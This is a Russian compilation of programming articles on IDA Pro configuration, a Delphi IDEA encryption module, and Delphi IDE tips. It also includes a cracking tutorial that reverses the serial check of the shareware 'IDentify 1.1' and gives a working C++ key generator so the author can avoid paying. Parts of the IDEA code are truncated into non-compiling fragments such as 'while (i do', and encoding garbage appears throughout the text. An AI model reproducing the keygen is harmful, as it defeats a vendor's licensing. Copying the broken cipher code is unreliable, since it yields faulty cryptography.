конфигурации экрана находится в тесной зависимости от используемой операционной систе- мы. Выбором соответствующей ветки конфигурации управляет директива #ifdef _OS_. За MS DOS, например, закреплено определение __MSDOS__. В этом случае IDA Pro запускается в текстовом режиме, который мы можем задать через SCREEN_MODE. По умолчанию он равен нулю, при этом IDA Pro не изменяет текущего видео-режима. Любопытно, что IDA Pro не контролирует, что бы выбранный режим в самом деле был текстовым, поэтому никто нам не помешает запустить ее и в графическом, например, 0x13. Жалко только, что результатов своей работы мы при этом не увидим. Для не-DOS режимов специфицируется не сам видео-режим, а число строк (старший байт) и столб- цов (младший байт). Выбрать палитру по вкусу нам поможет SCREEN_PALETTE. К сожалению в 3.6 версии выбор все еще небогат. Кроме черно-белого и монохромного (что по сути своей одно и тоже) можно выбрать един- ственный цветной режим, при этом нет никакой возможности управлять цветовой раскладкой. По умолчанию устанавливается режим автодетектирования дисплея и выбор соответствующей кон- фигурации. Секция раскладки горячих клавиш одна из моих самых любимых. Очень положительно ска- зывается на производительности эргономичность работы. Гораздо приятнее установить привычные со- четания, чем использовать в каждом инструменте свои и постоянно в них путаться. По возможности определения назначаемых клавиш эта секция самая гибкая. Большей частью используются строковые ярлыки, такие как «Shift-F2», или отдельные клавиши типа iиС1и, но можно задавать и скан-код. Нулевое значение, как не трудно догадаться, не присваивает ни одной горячей клавиши и это действие будет доступно только через систему меню. На этом первый проход можно считать завершенным. Второй проход начинается с директивы i.#е1sе1р. IDA Pro выполняет второй проход после того, как определен тип процессора, поэтому можно ис- пользовать мульти-конфигурацию с учетом типа. Для платформы Intel это решающего значения не имеет и никаких неудобств от использования одной и той же конфигурации для разных поколений процессо- ров обычно никто не испытывает. Секция «General parameteres» определяет значения параметров по умолчанию, доступных из меню «опции». Все их можно изменить в любой момент, но все изменения будут запоминаться только в теку- щей базе, а при выборе новой заново считывается из конфигурационного файла. То же самое в полной мере относится и к секциям «Text representation» и «ASCII strings & names». Секция «Translations and allowed character lists» управляет трансляцией символов. Смысл ее ясен с первого взгляда, как и то, что править ее нет необходимости. За исключением тех случаев, когда ис- пользуется несовместимая кодовая таблица. Кроме этого, в конфигурационном файле можно зада- вать клавиатурные макросы.

IDA Pro позволяет записывать их и в интерактивном режиме. Для этого нужно нажать Alt+™-™ и затем сочетание клавиш, с которым данный макрос будет сопоставлен. После этого IDA Pro переходит в ре- жим записи макроса. Мы вводим макро-последовательность, которую завершаем нажатием Alt+™=™. Все, теперь макрос записан и будет исполняться при нажатии на «горячую» клавишу. Я не буду говорить насколько удобно бывает автоматизировать в работе рутинные действия, т.к. это становится ощутимо в первый десяток минут работы с макросами. К сожалению тут нас ждет большой сюрприз. Макросы не запоминаются при выходе из IDA Pro и их ввод приходится повторять сначала. Это искажает саму идею и снижает производительность. Кроме того, я не могу представить себе исследователя, который бы при каждом запуске IDA Pro вводил свои любимые макросы. Использовать пару-тройку макросов по- просту не выгодно, а десяток-другой утомительно (да и бессмысленно) каждый раз вводить вручную. Немного исправить этот недостаток призвана секция описания макросов в файле конфигурации. Тут самое время вспомнить про включаемые файлы. Если в текущей директории существует файл idauser.cfg, то он автоматически подключается. В результате мы можем иметь свои макросы для каж- дого проекта. Разумеется,можно добавить директиву #include user.mac, что бы назначение этого фай- ла стало очевидным. На этом разбор файла ida.cfg можно считать завершенным.

Установка и использование IDA Pro.

Дизассемблер позволяет получить ассемблерный текст программы из машинного кода (.exe или .dll модуля). Многие дизассемблеры могут определять имена вызываемых программой API-функций. IDA Pro отличается от других дизассемблеров тем, что он способен опознавать имена не только API-функций, но и функций из MFC (Microsoft Foundation Class - используется программами, написанными на Visual C++) и OWL (Object Windows Library - используется программами, написанными на Borland C++), а также стандартных функций языка Си (таких как fread(), strlen() и т.д.), включенных в код программы.

Установка программы обычно не вызывает никаких проблем. После запуска дизассемблера (файл idaw.exe) появляется окно сессии DOS. Не пугайтесь, IDA Pro - нормальное 32-разрядное приложение, просто оно консольное (работает в окне сессии DOS). Именно поэтому интерфейс IDA Pro напоминает интерфейс обычной DOS-программы.

Отметим несколько моментов, на которые Вам следует обратить внимание перед началом работы с IDA Pro:

Практически все настройки (кроме цветовой палитры) осуществляются через файл ida.cfg В первую очередь, давайте поменяем размеры экрана программы. Установленный по умолчанию размер на разрешении 1024*768 не очень удобен, поэтому лучше заменить строку
SCREEN_MODE = 0 (по умолчанию 32 строки по 80 символов) 
на
SCREEN_MODE = 0x783B (59 строк по 120 символов)- для разрешения 1024х768 
это максимальный размер окна, которое умещается на экране. Если у Вас 800х600, можете ничего не менять. При работе с программой я обнаружил одну странную вещь: когда я закрываю IDA Pro, выдается два сообщения о том, что программа выполнила недопустимую операцию и будет закрыта (происходит ошибка при смене видеорежима). Чтобы этого избежать, нужно принудительно установить размер используемого программой шрифта. Для этого: Запомните, как выглядит окно программы при автоматическом выборе шрифта. Из конкретных значений размера шрифта выберите тот, при котором окно примет первоначальный вид. После этого никаких проблем при закрытии программы быть не должно. Для того чтобы не производить подобные изменения при каждом запуске программы, нужно соответствующим образом изменить свойства запускаемого файла. Но установить конкретный размер шрифта при запуске для файла idaw.exe не представляется возможным, т.к. это не DOS-программа, а Windows-приложение и не имеет подобных установок. Лично я для этих целей использую собственный командный файл (файл с расширение .bat). Он содержит только одну строку: idaw.exe В свойствах idaw.bat (так я назвал свой файл) я установил необходимый размер шрифта (для приведенных значений разрешения и размера окна это шрифт 8х12). Теперь, вместо idaw.exe я запускаю idaw.bat - никаких проблем при закрытии больше не возникает.

О приемах работы с IDA Pro Вы познакомитесь в следующих статьях на примере работы с конкретными программами, или можете обратиться к ее полному описанию, которое скоро появится в разделе Описание инструментов. Что ж, со всеми описаниями мы закончили, в следующей статье приступим к исследованию конкретной программы - WinZip 7.0 (beta).

Модуль для IDEA шифрования.

Автор: Матвеев Игорь

Часто в свои проекты необходимо включать шифрование данных. Самый простой способ - xor шифрование, но он подходит только когда необходимо обеспечить малый уровень защиты. Но иногда необходимы более серьезные алгоритмы.

Работая над архиватором файлов (вроде WinRar), у меня встал вопрос о шифровании, в таких программах как архиватор это просто необходимо.

Итак, существует ряд алгоритмов симметричного шифрования - когда один и тот же ключ используется для шифрования и дешифрования. Эти алгоритмы, как правило, очень хорошо изучены и их стойкость к различного рода атакам подтверждена результатами математических исследований.

Кроме того, 2 октября 2000 года NIST (Национальный институт стандартов и технологий, правопреемник прежнего НБС), утвердил алгоритм Rijndael Джоана Димена и Винсента Риджмена как AES (Усовершенствованный алгоритм шифрования, который должен стать заменой прежнего стандарта - DES). Алгоритм Rijndael свободен как для коммерческого, так и для некоммерческого использования и, по видимому, является наилучшим выбором если необходима достаточная стойкость шифра наряду с высокой скоростью работы и относительной простотой реализации.

Но я выбрал для своего архиватора алгоритм IDEA (International Data Encryption Algorithm). Этот алгоритм был разработан для простого воплощения как программно, так и аппаратно. Стойкость IDEA основывается на использовании трех несовместимых типов арифметических операций над 16-битными словами. IDEA очень распространен в Европе и используется в популярной программе шифрования электронных писем PGP (Pretty Good Privacy).

Нижепредставленный модуль полностью реализует в себе метода IDEA шифрования. Главными функциями являются:

function EncryptCopy(DestStream, SourseStream : TStream; Count: Int64; Key : string): Boolean; // Зашифровать данные из одного потока в другой

function DecryptCopy(DestStream, SourseStream : TStream; Count: Int64; Key : string): Boolean; // Расшифровать данные из одного потока в другой

function EncryptStream(DataStream: TStream; Count: Int64; Key : string): Boolean; // Зашифровать содержимое потока

function DecryptStream(DataStream: TStream; Count: Int64; Key : string): Boolean; // Расшифровать содержимое потока.

А теперь сам модуль:

{ *********************************************************************** }
{                                                                         }
{ Delphi Еnсгурtiоn Library                                               }
{ Еnсгурtiоn / Decryption stream - IDEA                                   }
{                                                                         }
{ Copyright (c) 2004 by Matveev Igor Vladimirovich                        }
{ With offers and wishes write: teap_leap@mail.ru                         }
{                                                                         }
{ *********************************************************************** }
unit IDEA;
interface
uses
  SysUtils, Classes, Math;
const
  Rounds    = 8;
  KeyLength = (Rounds * 6) + 4;
  Maxim     = 65537;
type
  TIDEAKey   = array[0..KeyLength-1] of Word;
  TIDEABlock = array[1..4] of Word;
var
  Z : TIDEAKey;
  K : TIDEAKey;
  FBlockSize  : Integer;
  FKey        : string;
  FBufferSize : Integer;
  FKeySize    : Integer;
  FKeyPtr     : PChar;
////////////////////////////////////////////////////////////////////////////////
// Дополнительные функции
procedure Initialize(AKey: string);           // Инициализация
procedure CalculateSubKeys;                   // Подготовка подключей
function  EncipherBlock(var Block): Boolean;  // Шифрация блока (8 байт) 
function  DecipherBlock(var Block): Boolean;  // Дешифрация блока
////////////////////////////////////////////////////////////////////////////////
// Основные функции
function EncryptCopy(DestStream, SourseStream : TStream; Count: Int64;
  Key : string): Boolean;    // Зашифровать данные из одного потока в другой
  
function DecryptCopy(DestStream, SourseStream : TStream; Count: Int64;
  Key : string): Boolean;    // Расшифровать данные из одного потока в другой
function EncryptStream(DataStream: TStream; Count: Int64;
  Key: string): Boolean;     // Зашифровать содержимое потока
function DecryptStream(DataStream: TStream; Count: Int64;
  Key: string): Boolean;     // Расшифровать содержимое потока
implementation
////////////////////////////////////////////////////////////////////////////////
function ROL(a, s: LongWord): LongWord;
asm
  mov    ecx, s
  rol    eax, cl
end;
////////////////////////////////////////////////////////////////////////////////
procedure InvolveKey;
var
  TempKey : string;
  i, j    : Integer;
  K1, K2  : LongWord;
begin
 // Разворачивание ключа до длинны 51 символ
 TempKey := FKey;
 i := 1;
 while ((Length(TempKey) mod FKeySize) <> 0) do
   begin
     TempKey := TempKey + TempKey[i];
     Inc(i);
   end;
 // Now shorten the key down to one KeySize block by combining the bytes
 i := 1;
 j := 0;
 while (i do
   begin
     Move((FKeyPtr+j)^, K1, 4);
     Move(TempKey[i], K2, 4);
     K1 := ROL(K1, K2) xor K2;
     Move(K1, (FKeyPtr+j)^, 4);
     j := (j + 4) mod FKeySize;
     Inc(i, 4);
   end;
end;
////////////////////////////////////////////////////////////////////////////////
{$R-,Q-}
procedure ExpandKeys;
var
  i : Integer;
begin
 // Копирование ключа в Z
 Move(FKeyPtr^, Z, FKeySize);
 // Генерация подключа зашифрование
 for i := 8 to KeyLength-1 do
   begin
     if (((i+2) mod 8) = 0) then Z[i] := (Z[i- 7] shl 9) xor (Z[i-14] shr 7)
       else if (((i+1) mod 8) = 0) then Z[i] := (Z[i-15] shl 9) xor (Z[i-14] shr 7)
	 else Z[i] := (Z[i- 7] shl 9) xor (Z[i- 6] shr 7);
   end;
end;
////////////////////////////////////////////////////////////////////////////////
procedure InvertKeys;
type
  PWord	= ^Word;
var
  j          : Integer;
  pz, pp     : PWord;
  t1, t2, t3 : Word;
////////////////////////////////////////
  function Inv(I: Integer): Integer;
  var
    n1, n2, q, r, b1, b2, t : Integer;
  begin
   if (I = 0) then
     Result := 0 else
       begin
         n1 := Maxim;
         n2 := I;
         b2 := 1;
         b1 := 0;
         repeat
         r := (n1 mod n2);
         q := (n1-r) div n2;
         if (r = 0) then
           begin
             if (b2 then b2 := Maxim + b2;
           end else
               begin
                 n1 := n2;
                 n2 := r;
                 t  := b2;
                 b2 := b1 - q * b2;
                 b1 := t;
               end;
         until (r = 0);
         Result := b2;
       end;
  Result := (Result and $ffff);
  end;
////////////////////////////////////////
begin
    pz := @Z;
    pp := @K;
    Inc(pp, KeyLength);
//  t1 = inv(*Z++);
    t1 := Inv(pz^);
    Inc(pz);
//  t2 = -*Z++;
    t2 := -pz^;
    Inc(pz);
//  t3 = -*Z++;
    t3 := -pz^;
    Inc(pz);
//  *--p = inv(*Z++);
    Dec(pp);
    pp^ := Inv(pz^);
    Inc(pz);
//  *--p = t3;
    Dec(pp);
    pp^ := t3;
//  *--p = t2;
    Dec(pp);
    pp^ := t2;
//  *--p = t1;
    Dec(pp);
    pp^ := t1;
    for j := 1 to Rounds-1 do
      begin
//      t1 = *Z++;
        t1 := pz^;
        Inc(pz);
//      *--p = *Z++;
        Dec(pp);
        pp^ := pz^;
        Inc(pz);
//      *--p = t1;
        Dec(pp);
        pp^ := t1;
//      t1 = inv(*Z++);
        t1 := Inv(pz^);
        Inc(pz);
//      t2 = -*Z++;
        t2 := -pz^;
        Inc(pz);
//      t3 = -*Z++;
        t3 := -pz^;
        Inc(pz);
//      *--p = inv(*Z++);
        Dec(pp);
        pp^ := Inv(pz^);
        Inc(pz);
//      *--p = t2;
        Dec(pp);
        pp^ := t2;
//      *--p = t3;
        Dec(pp);
        pp^ := t3;
//      *--p = t1;
        Dec(pp);
        pp^ := t1;
      end;
//  t1 = *Z++;
    t1 := pz^;
    Inc(pz);
//  *--p = *Z++;
    Dec(pp);
    pp^ := pz^;
    Inc(pz);
//  *--p = t1;
    Dec(pp);
    pp^ := t1;
//  t1 = inv(*Z++);
    t1 := Inv(pz^);
    Inc(pz);
//  t2 = -*Z++;
    t2 := -pz^;
    Inc(pz);
//  t3 = -*Z++;
    t3 := -pz^;
    Inc(pz);
//  *--p = inv(*Z++);
    Dec(pp);
    pp^ := Inv(pz^);
//  *--p = t3;
    Dec(pp);
    pp^ := t3;
//  *--p = t2;
    Dec(pp);
    pp^ := t2;
//  *--p = t1;
    Dec(pp);
    pp^ := t1;
end;
{$R+,Q+}
////////////////////////////////////////////////////////////////////////////////
procedure CalculateSubKeys;
begin
 ExpandKeys;
 InvertKeys;
end;
////////////////////////////////////////////////////////////////////////////////
procedure Initialize(AKey: string);
begin
 FBlockSize  := 8;
 FBufferSize := 2048;
 FKey        := AKey;
 FKeySize    := 32;
 FillChar(Z, SizeOf(Z), 0);
 FillChar(K, SizeOf(K), 0);
 GetMem(FKeyPtr, FKeySize);
 FillChar(FKeyPtr^, FKeySize, #0);
 InvolveKey;
end;
////////////////////////////////////////////////////////////////////////////////
{$R-,Q-}
procedure Cipher(var Block: TIDEABlock; const Keys: TIDEAKey);
var
  x1, x2, x3, x4 : Word;
  t1, t2         : Word;
  pz             : ^Word;
  r	             : Integer;
////////////////////////////////////////
  function Mul(a,b: Word): Word;
  var
    p : LongWord;
  begin
   if (a > 0) then
   begin
     if (b > 0) then
     begin
       p := LongWord(a)*b;
       b := p and $ffff;
       a := p shr 16;
       Result := ((b - a) + Ord(b end else Result := 1 - a;
   end else Result := 1 - b;
  end;
////////////////////////////////////////
begin
//  x1 = *in++;  x2 = *in++;
    x1 := Block[1];
    x2 := Block[2];
//  x3 = *in++;  x4 = *in;
    x3 := Block[3];
    x4 := Block[4];
    pz := @Keys;
    for r := 1 to Rounds do
      begin
//      MUL(x1,*Z++);
        x1 := Mul(x1, pz^);
        Inc(pz);
//      x2 += *Z++;
        x2 := x2 + pz^;
        Inc(pz);
//      x3 += *Z++;
        x3 := x3 + pz^;
        Inc(pz);
//      MUL(x4, *Z++);
        x4 := Mul(x4, pz^);
        Inc(pz);
//      t2 = x1^x3;
        t2 := x1 xor x3;
//      MUL(t2, *Z++);
        t2 := Mul(t2, pz^);
        Inc(pz);
//      t1 = t2 + (x2^x4);
        t1 := t2 + (x2 xor x4);
//      MUL(t1, *Z++);
        t1 := Mul(t1, pz^);
        Inc(pz);
//      t2 = t1+t2;
        t2 := (t1 + t2);
//      x1 ^= t1;
        x1 := x1 xor t1;
//      x4 ^= t2;
        x4 := x4 xor t2;
//      t2 ^= x2;
        t2 := t2 xor x2;
//      x2 = x3^t1;
        x2 := x3 xor t1;
//      x3 = t2;
        x3 := t2;
      end;
//  MUL(x1, *Z++);
    x1 := Mul(x1, pz^);
    Inc(pz);
//  *out++ = x1;
    Block[1] := x1;
//  *out++ = x3 + *Z++;
    Block[2] := x3 + pz^;
    Inc(pz);
//  *out++ = x2 + *Z++;
    Block[3] := x2 + pz^;
    Inc(pz);
//  MUL(x4, *Z);
    x4 := Mul(x4, pz^);
//  *out = x4;
    Block[4] := x4;
end;
{$R+,Q+}
////////////////////////////////////////////////////////////////////////////////
function EncipherBlock(var Block): Boolean;
begin
 Cipher(TIDEABlock(Block), Z);
 Result := TRUE;
end;
////////////////////////////////////////////////////////////////////////////////
function DecipherBlock(var Block): Boolean;
begin
 Cipher(TIDEABlock(Block), K);
 Result := TRUE;
end;
////////////////////////////////////////////////////////////////////////////////
// Главные функции ...
function EncryptCopy(DestStream, SourseStream : TStream; Count: Int64;
  Key : string): Boolean;
var
  Buffer   : TIDEABlock;
  PrCount  : Int64;
  AddCount : Byte;
begin
 Result := True;
 try
   if Key = '' then
     begin
       DestStream.CopyFrom(SourseStream, Count);
       Exit;
     end;
   Initialize(Key);
   CalculateSubKeys;
   PrCount := 0;
   while Count - PrCount >= 8 do
     begin
       SourseStream.Read(Buffer, SizeOf(TIDEABlock));
       EncipherBlock(Buffer);
       DestStream.Write(Buffer, SizeOf(TIDEABlock));
       Inc(PrCount, 8);
     end;
   AddCount := Count - PrCount;
   if Count - PrCount <> 0 then
     begin
       SourseStream.Read(Buffer, AddCount);
       DestStream.Write(Buffer, AddCount);
     end;
 except
   Result := False;
 end;
end;
////////////////////////////////////////////////////////////////////////////////
function DecryptCopy(DestStream, SourseStream : TStream; Count: Int64;
  Key : string): Boolean;
var
  Buffer   : TIDEABlock;
  PrCount  : Int64;
  AddCount : Byte;
begin
 Result := True;
 try
   if Key = '' then
     begin
       DestStream.CopyFrom(SourseStream, Count);
       Exit;
     end;
   Initialize(Key);
   CalculateSubKeys;
   PrCount := 0;
   while Count - PrCount >= 8 do
     begin
       SourseStream.Read(Buffer, SizeOf(TIDEABlock));
       DecipherBlock(Buffer);
       DestStream.Write(Buffer, SizeOf(TIDEABlock));
       Inc(PrCount, 8);
     end;
   AddCount := Count - PrCount;
   if Count - PrCount <> 0 then
     begin
       SourseStream.Read(Buffer, AddCount);
       DestStream.Write(Buffer, AddCount);
     end;
 except
   Result := False;
 end;
end;
////////////////////////////////////////////////////////////////////////////////
function EncryptStream(DataStream: TStream; Count: Int64; Key: string): Boolean;
var
  Buffer   : TIDEABlock;
  PrCount  : Int64;
  AddCount : Byte;
begin
 Result := True;
 try
   if Key = '' then
     begin
       DataStream.Seek(Count, soFromCurrent);
       Exit;
     end;
   Initialize(Key);
   CalculateSubKeys;
   PrCount := 0;
   while Count - PrCount >= 8 do
     begin
       DataStream.Read(Buffer, SizeOf(TIDEABlock));
       EncipherBlock(Buffer);
       DataStream.Seek(-SizeOf(TIDEABlock), soFromCurrent);
       DataStream.Write(Buffer, SizeOf(TIDEABlock));
       Inc(PrCount, 8);
     end;
 except
   Result := False;
 end;
end;
////////////////////////////////////////////////////////////////////////////////
function DecryptStream(DataStream: TStream; Count: Int64; Key: string): Boolean;
var
  Buffer   : TIDEABlock;
  PrCount  : Int64;
begin
 Result := True;
 try
   if Key = '' then
     begin
       DataStream.Seek(Count, soFromCurrent);
       Exit;
     end;
   Initialize(Key);
   CalculateSubKeys;
   PrCount := 0;
   while Count - PrCount >= 8 do
     begin
       DataStream.Read(Buffer, SizeOf(TIDEABlock));
       DecipherBlock(Buffer);
       DataStream.Seek(-SizeOf(TIDEABlock), soFromCurrent);
       DataStream.Write(Buffer, SizeOf(TIDEABlock));
       Inc(PrCount, 8);
     end;
 except
   Result := False;
 end;
end;
// Завершение главных функций ...
////////////////////////////////////////////////////////////////////////////////
end.

А пользоваться этим модулем можно так. Нижеприведенный пример демонстрирует шифрование / дешифрование файла с использованием функций EncryptStream / DecryptStream:

Статьи по Delphi (009)…

procedure TForm1.Button1Click(Sender: TObject);
var
  SourseStream : TFileStream;
begin
 SourseStream := TFileStream.Create(Edit1.Text, fmOpenReadWrite	);
 EncryptStream(SourseStream, SourseStream.Size, Edit2.Text);
 SourseStream.Free;
end;
procedure TForm1.Button2Click(Sender: TObject);
var
  SourseStream : TFileStream;
begin
 SourseStream := TFileStream.Create(Edit1.Text, fmOpenReadWrite	);
 DecryptStream(SourseStream, SourseStream.Size, Edit2.Text);
 SourseStream.Free;
end;

ПРИМЕЧАНИЕ: Так как алгоритм шифрует данные блоками по 8 байт, а размер шифруемых данных не всегда кратен 8, поэтому в данном модуле последний блок, если он размером больше нодя и меньше восьми, не шифруется. Поэтому, если функцию шифрования обозначить e(x), а Srt1 и Str2 - шифруемые данные, то e(Str1) + e(Str2) не всегда равно e(Str1 + Str2).

Матвеев Игорь Владимирович.

Пишем КейГен для IDentify - Version 1.1.

Оформил: DeeCo Автор: http://www.cracklab.narod.ru

Адрес: http://www.imptec.com Вступление: Я так и не разобрался чего делает эта прога, понял только, что стоит она $15 а это 2 моих месячных стипендии. Я решил н ждать 2 месяца, а получить прогу уже сейчас :) Поехали: Ставим Брекпоинт: bpx GetWindowTextA нажимаем 1 раз F5 а затем 4 раза F12 чтобы выйти из вложенных функций, мы окажемся здесь:
015F:004021E0  E865110200          CALL      0042334A
015F:004021E5  83EC04              SUB       ESP,04
015F:004021E8  8B45F0              MOV       EAX,[EBP-10]
015F:004021EB  83C060              ADD       EAX,60
015F:004021EE  8965E8              MOV       [EBP-18],ESP
015F:004021F1  50                  PUSH      EAX
015F:004021F2  8B4DE8              MOV       ECX,[EBP-18]
015F:004021F5  E88B200200          CALL      00424285
015F:004021FA  C745FC00000000      MOV       DWORD PTR [EBP-04],00000000
015F:00402201  C745FCFFFFFFFF      MOV       DWORD PTR [EBP-04],FFFFFFFF
015F:00402208  8D4DE4              LEA       ECX,[EBP-1C]
015F:0040220B  51                  PUSH      ECX
015F:0040220C  8B4DF0              MOV       ECX,[EBP-10]
015F:0040220F  E89C000000          CALL      004022B0		<--генерация правильного СН по имени
Зайдём в последнюю функцию(F8):
015F:004022C1  64892500000000      MOV       FS:[00000000],ESP
015F:004022C8  83EC48              SUB       ESP,48
015F:004022CB  C745FC01000000      MOV       DWORD PTR [EBP-04],00000001
015F:004022D2  56                  PUSH      ESI
015F:004022D3  8D4DF0              LEA       ECX,[EBP-10]
015F:004022D6  33F6                XOR       ESI,ESI
015F:004022D8  8975EC              MOV       [EBP-14],ESI
015F:004022DB  E8951F0200          CALL      00424275
015F:004022E0  8B450C              MOV       EAX,[EBP+0C]
015F:004022E3  33D2                XOR       EDX,EDX		<--обнулили счётчик цикла
015F:004022E5  C645FC02            MOV       BYTE PTR [EBP-04],02
015F:004022E9  8B48F8              MOV       ECX,[EAX-08]	<--Длинна имени
015F:004022EC  3BD1                CMP       EDX,ECX		<--конец цикла?
015F:004022EE  730D                JAE       004022FD		<--прыгаем
015F:004022F0  8B450C              MOV       EAX,[EBP+0C]
015F:004022F3  42                  INC       EDX
015F:004022F4  0FBE4410FF          MOVSX     EAX,BYTE PTR [EDX+EAX-01]	<--по очереди в цикле загружаем в EAX каждый символ имени и...
015F:004022F9  03F0                ADD       ESI,EAX			<--суммируем все символы в ESI
015F:004022FB  EBEF                JMP       004022EC			<--повтор цикла
Т.Е. после выполнения вышеописанного кода у нас в ESI сумма всех символов имени, а в ECX Длинна имени. Смотрим дальше:
015F:004022FD  83C105              ADD       ECX,05
015F:00402300  83C605              ADD       ESI,05
015F:00402303  0FAFCE              IMUL      ECX,ESI
015F:00402306  8D1489              LEA       EDX,[ECX*4+ECX]
015F:00402309  8BC1                MOV       EAX,ECX
015F:0040230B  6A0A                PUSH      0A
015F:0040230D  8D0C90              LEA       ECX,[EDX*4+EAX]	<-- ECX=EDX*4+EAX
015F:00402310  8D34C8              LEA       ESI,[ECX*8+EAX]	<-- ESI=ECX*8+EAX
015F:00402313  8D1470              LEA       EDX,[ESI*2+EAX]	<-- EDX=ESI*2+EAX
Тут идут математические действия очень простые. Аналогично такому выражению: EDX=(( ((сумма_всех_символов+5)*(длинна_имени+5)*5) *4+(сумма_всех_символов+5)*(длинна_имени+5))*8+(сумма_всех_символов+5)*(длинна_имени+5))*2+(сумма_всех_символов+5)*(длинна_имени+5) Затем мы видим:
015F:00402319  50                  PUSH      EAX
015F:0040231A  52                  PUSH      EDX	<--сохранили EDX
015F:0040231B  E8207C0100          CALL      00419F40	<--функция перевода EDX из 16-ричной в 10-чную систему и запись результата в виде текстовой строки.
015F:00402320  83C40C              ADD       ESP,0C                         
015F:00402323  8D4DF0              LEA       ECX,[EBP-10]                   
015F:00402326  68F8924300          PUSH      004392F8                       
015F:0040232B  E8ED210200          CALL      0042451D	<--Вначале СН дописываем два символа "2D"
И получившаяся строка и есть правильный СН. УрА! Я написал на C++ кейген, вот он:
#include <iostream.h>
#include <conio.h>
void main()
{
	char	*name;
   long	serial,sum=0;
   int	i;
   cout<<"IDentify! - Version 1.1 KeyGen"<<"\n";
   cout<<"CrAcKeD bY VaLLk0r [PTDS]"<<"\n";
   cout<<"http://vallkor.chat.ru"<<"\n";
   cout<<"Enter your name:";
   cin>>name;
   for (i=0;name[i]!=0;i++)
   {
   	sum+=name[i];
   }
   serial=((((sum+5)*(i+5)*5) *4+(sum+5)*(i+5))*8+(sum+5)*(i+5))*2+(sum+5)*(i+5);
   cout<<"\n"<<"Serial: 2D"<<serial;
   getch();
}
Для моего имени (vallkor) СН оказался: 2D3124224 Вводим эти данные и мы зарегестрированные пользователи. ВсЁ! Исследовал и наваял туториал: vallkor //PTDS E-mail: vallkor@chat.ru (vallkor@etel.dn.ua) Page: http://vallkor.chat.ru

Активизация и использование в IDE окна CPU.

Статьи по Delphi (009)…

CPU not found! Users software emulation!
Предупреждение: Окно CPU еще до конца не оттестировано и может иногда приводить к ошибкам. Если у вас есть проблемы с отладчиком, или при запуске вашей программы вы не можете им воспользоваться, окно CPU может помочь решить ваши проблемы. Обычно его не требуется включать, если только у вас не "особый случай". В Delphi 2 эта характеристика встроена, но по умолчанию выключена, называется это окно CPU window, или DisassemblyView. Она легка в использовании, может быть полезной в отладке и сравнении кода при его оптимизации. Для активизации этой характеристики, запустите REGEDIT и отредактируйте регистры описанным ниже образом. Найдите ключ HKEY_CURRENT_USER\Software\Borland\Delphi\2.0\Debugging. Создайте по этому пути строковый ключ с именем "ENABLECPU". Значение нового ключа должно быть строкой "1". Это все. Теперь в Delphi IDE появился новый пункт меню View|CPUWindow. При его активизации выводится новое окно. Теперь, чтобы понять какое мощное средство оказалось в ваших руках, сделаем сравнительный анализ генерируемого кода для двух примеров, имеющих одинаковую функциональность, но достигающую ее разными путями. Создайте 2 одинаковых обработчика события. В каждом обработчике события разместите приведенный ниже код. Установите точку прерывания на первой строчке каждого обработчика. Запустите приложение и активизируйте события. Сравните ассемблерный код обоих методов. Один короче? В этом случае он будет исполняться быстрее. Достойными для такого рода анализа могут быть участки кода, многократно выполняемые в процессе работы программы, или критические ко времени выполнения.

Хорошим примером, где различный код выполняет одну и ту же работу, но делает это с разной скоростью, является использование конструкции "with object do". Исходный код с многократным использованием конструкции "with object do" будет длиннее, но ассемблерный код короче. Вспомните, сколько раз вы устанавливали свойства для динамически создаваемых объектов? Код:

with TObject.create do
begin
  property1 := ;
  property2 := ;
  property3 := ;
end;

Будет выполняться быстрее, чем.

MyObj := TObject.create;
MyObj.Property1 := ;
MyObj.Property2 := ;
MyObj.Property3 := ; 

Записать и проиграть нажатие клавиш в IDE.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

If you write a lot of code, you would probably have come across a situation where you need to record some keystrokes and play them back a number of times. You can now do this in the Delphi IDE by 1. pressing [Ctrl][Shift][R] to start recording, 2. type in the keystrokes you want repeated, and 3. press [Ctrl][Shift][R] to stop recording. 4. To Play back, press [Ctrl][Shift][P]. So kann ein Tastaturmakro in der Delphi IDE aufgezeichnet werden: 1. Eine Aufzeichnung wird durch Strg+Umschalt+R begonnen. 2. Anschliessend кцnnеn die aufzuzeichnenden Tastenkombinationen gеdгьскt werden. 3. Am Schluss der Aufzeichnung erneut Strg+Umschalt+R dгьскеn, um die Aufzeichnung zu beenden. 4. Zum Аиsfьhгеn des Makros Strg+Umschalt+P dгьскеn.

Восстановить позицию по умолчанию панелей инструментов в IDE Delphi.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

Delphi 5 sometimes rearranges its toolbars seemingly at random (and rather stupidly) every time it starts or loads a project. Once it starts doing this, it is pointless to rearrange them and store the desktop, Delphi will just make a mess out of it again. I have not been able to find out, what causes this, but apparently the toolbar settings in the registry get corrupted. Deleting them, will restore the default> toolbars again. You can then customize them and Delphi will remember your settings. (Until next time the registry entries get corrupted. :-( ). (If you never experienced this problem, count yourself lucky, it is quite annoying.) The entries are under HKEY_CURRENT_USER\Software\Delphi\5.0\Toolbars, just delete all entries. {********} Delphi 5 ordnet die Toolbars manchmal bei jedem Start und beim Laden von Projekten neu an, meist kommt dabei ziemlicher Bloedsinn heraus. Sie neu anzuordnen hilft nicht, da Delphi die Einstellungen gleich wieder verwurstet. Ich konnte nicht herausfinden, was dieses Phaenomen verursacht, aber anscheinend sind die Eintraege in der Registry, die diese Einstellungen speichern, ungueltig. Wenn man sie loescht, bekommt man wieder die Standardanordnung und anschliessend speichert Delphi evtl. vorgenommene Aenderungen auch wieder ab. (Bis sie zum naechsten Mal kaputtgehen. :-( ). (Wenn Du dieses Problem nie hattest, sei froh, es ist extrem nervig.) Die Eintrage, um die es geht, stehen unter HKEY_CURRENT_USER\Software\Delphi\5.0\Toolbars, einfach alle Eintraege loeschen.

Программно управлять меню Инструменты в среде Delphi.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

//**  class to manage Delphi's Tool list 
//** 
//**  if Delphi is running restart it to see changes 
//************************************************************* 
unit DelphiTool;
 interface
 uses
   Windows, SysUtils, Registry, classes;
 type
   TDelphiVersion = ({dvD5,} dvD6);
   EDelphiTool_AlreadyRegistered = class(Exception);
   EDelphiTool_InvalidIndex = class(Exception);
   TDelphiTool = class
   private
     F_Registry: TRegistry;
     F_ToolCount: Integer;
     F_ToolPath: string;
   protected
     function OpenKey(key: string; CanCreate: Boolean): Boolean;
   public
     constructor Create;
     destructor Destroy; override;
     procedure SetRootKey(root_key: HKEY);
     procedure SetDelphiVersion(version: TDelphiVersion);
     procedure Add(params, path, title, workingDir: string);
